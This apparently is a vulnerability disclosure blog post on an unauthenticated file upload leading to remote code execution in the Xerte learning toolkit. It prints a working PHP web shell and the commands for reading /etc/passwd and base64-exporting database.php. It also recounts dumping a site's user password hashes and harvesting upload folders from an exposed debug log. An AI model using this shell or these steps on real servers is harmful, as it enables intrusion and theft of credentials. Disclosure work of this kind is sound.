Unauthenticated file upload to Remote Code Execution in Xerte

So this is the second part of three vulnerability’s found over a longer period of time in Xerte. The vulnerability was a Unauthenticated file upload to Remote Code Execution (RCE). “Xerte is an award-winning suite of browser-based tools that allow anyone with a web browser to create interactive learning materials quickly and easily.” – https://www.xerte.org.uk. Xerte is an OpenSource project and can be found at: https://github.com/thexerteproject/xerteonlinetoolkits.

When creating digital learning materials a user can upload files to use in their project. When uploading a file, the file is validated on whether it is allowed or not. Uploading a PHP file is not allowed:

Or is it? When uploading a file, not the extension is validated, but the content of the file. If the file starts with <?php it is rejected, when you put characters in from of the php tag its allowed. After uploading, the user can browse to their media folder and execute their PHP file. Thus making it possible to upload a web-shell and execute commands.

Proof of concept

Create a malicious file to upload (e.q. a web-shell):

Hello World
<?php if(isset($_REQUEST['<redacted>'])){ echo "<pre>"; $cmd = ($_REQUEST['<redacted>']); system($cmd); echo "</pre>"; die; }?>

Start a new project and upload a file. When uploading take note of the media folder your uploading to:

Navigate to the URL and execute the shell. After this we can execute commands on the server:

Command: id:

Command: cat /etc/passwd:

Can we create a database dump? – this is a kids dream right?

Please note i would not have done this if i didn’t know the owners of the website. In the web-root there is a file called database.php containing the database settings. Its not possible to simply cat this file because php will try to execute it. We can export the file by base64 encoding it and then decoding it on our client. cmd: cat ../../../database.php |base64

And decode the output locally, echo -n <output> | base64 -d:

I know you can decode broken base64 not confidential

With the database settings a new PHP file was uploaded to dump the database. Because this is an open source project the database structure was taken from github. Resulting in a dump of the user database (username and password hash):

Can we do this unauthenticated?

When testing I noticed that uploading a file is allowed without authenticating. I later found out this is due to a bug in elfinder, a plugin used in the website. But to upload a file, the media folder of a user is required. Brute forcing a media folder might work but they are semi random. When doing a gobuster a folder of interest was found: error_logs. This folder contained a 43MB debug file.

Searching the debug file we find 105 unique media folders to upload our payload:

Time Line: